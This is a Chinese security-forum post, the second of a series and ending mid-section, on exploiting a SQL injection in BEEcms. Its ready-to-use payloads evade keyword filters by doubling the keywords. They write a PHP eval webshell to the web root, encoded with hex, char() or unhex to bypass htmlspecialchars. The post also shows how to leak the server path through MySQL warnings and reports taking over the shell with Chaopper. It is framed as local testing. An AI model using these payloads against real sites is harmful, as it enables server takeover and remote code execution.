0x02 Mysql注入的一个特性
上篇分析到,由于函数fl_html()的影响,其实就是php函数htmlspecialchars(),导致不能写shell到目标机器。其实这里利用Mysql注入的一个特性就可以达到注入的效果。即对shell部分进行Hex编码,或者用mysql函数char()就可以轻松绕过这里的限制。
方法一 hex编码
我们写入shell的语句是:
[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,<?php @eval($_POST[a]); ?> in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
对shell部分进行hex编码为,这里我们采用Python简单编码:
[Python] 纯文本查看 复制代码>>> '<?php @eval($_POST[a]); ?>'.encode('hex')
'3c3f70687020406576616c28245f504f53545b615d293b203f3e'
写入shell的payload为:
[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b615d293b203f3e in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
记得在编码转换的时候前面加0x或者直接用函数unhex亦可。
[AppleScript] 纯文本查看 复制代码unhex(3c3f70687020406576616c28245f504f53545b615d293b203f3e)
然后通过Burpsuit修改数据包写入,如图所示:
QQ截图20161015192954.png (90.5 KB, 下载次数: 150)
2016-10-15 21:32 上传
本地查看写入的文件如图:
QQ截图20161015193006.png (16.11 KB, 下载次数: 195)
2016-10-15 21:33 上传
可以看到在爆出密码的同时写入了webshell,下面我们尝试用菜刀链接,成功拿到webshell:
QQ截图20161015193245.png (36.28 KB, 下载次数: 179)
2016-10-15 21:33 上传
方法二 使用char函数
Mysql内置函数char()可以将里边的ascii码参数转换为字符串,同样是上面编写的webshell转换成ascii的形式,这里我们用Python实现快速转换:
[Python] 纯文本查看 复制代码>>> map(ord, "<?php @eval($_POST[a]); ?>")
[60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62]
然后我们的注入语句就可以写作:
[SQL] 纯文本查看 复制代码user=admin' uni union on selselectect null,null,null,null,char(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 97, 93, 41, 59, 32, 63, 62) in into outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20
同样我们看看执行后的结果是成功写入了webshell:
QQ截图20161015204259.png (92.05 KB, 下载次数: 192)
2016-10-15 21:33 上传
本地加入的a.php文件内容:
QQ截图201610151930061.png (16.11 KB, 下载次数: 203)
2016-10-15 21:54 上传
成功拿到webshell
QQ截图201610151932451.png (36.28 KB, 下载次数: 169)
2016-10-15 21:55 上传
这里需要注意,有时候用char函数时,会出现乱码的情况,这个时候就需要将两种方式结合起来,采用下面的形式即可避免乱码出现:
[SQL] 纯文本查看 复制代码unhex(char(60, 63, 112, 104, 112, 32, 112, 104, 112, 105, 110, 102, 111, 40, 41, 32, 63, 62))
以上两种方式就可以成功绕过一些敏感字符过滤,从而正常写入webshell。
0x03 绝对路径问题
正如@zusheng 师傅在上篇的评论,前面的测试均是在本地测试的,有个问题就是本地文件绝对路径我们是知道的,但是远程情况下,我们不知道网站绝对路径。在这种情况下我们是不是就没有办法继续了?其实不然,足够细心的话你会发现前面有张图里边已经有绝对路径出现了,没错,就是Burpsuit执行注入语句那张图。那么我们就知道了,需要让mysql出现Warring就可以得到路径了。
QQ截图20161015205344.png (14.43 KB, 下载次数: 185)
2016-10-15 21:33 上传
比如还是写shell的语句,不知道路径的情况下随便写一个不存在的路径也可以达到效果,如下图:
QQ截图20161015205941.png (95.34 KB, 下载次数: 183)
2016-10-15 21:33 上传
方法很多,多多尝试总会有新发现的!
0x04 对单引号问题的思考
上篇中有评论到单引号的问题,就是说既然htmlspecialchars函数过滤掉了单引号,那么注入语句中的单引号是怎么引入的?
针对这个问题,我查阅了一些资料,也在本地测试此函数,得出了一个结果,就是在默认情况下,函数只解析双引号,如图: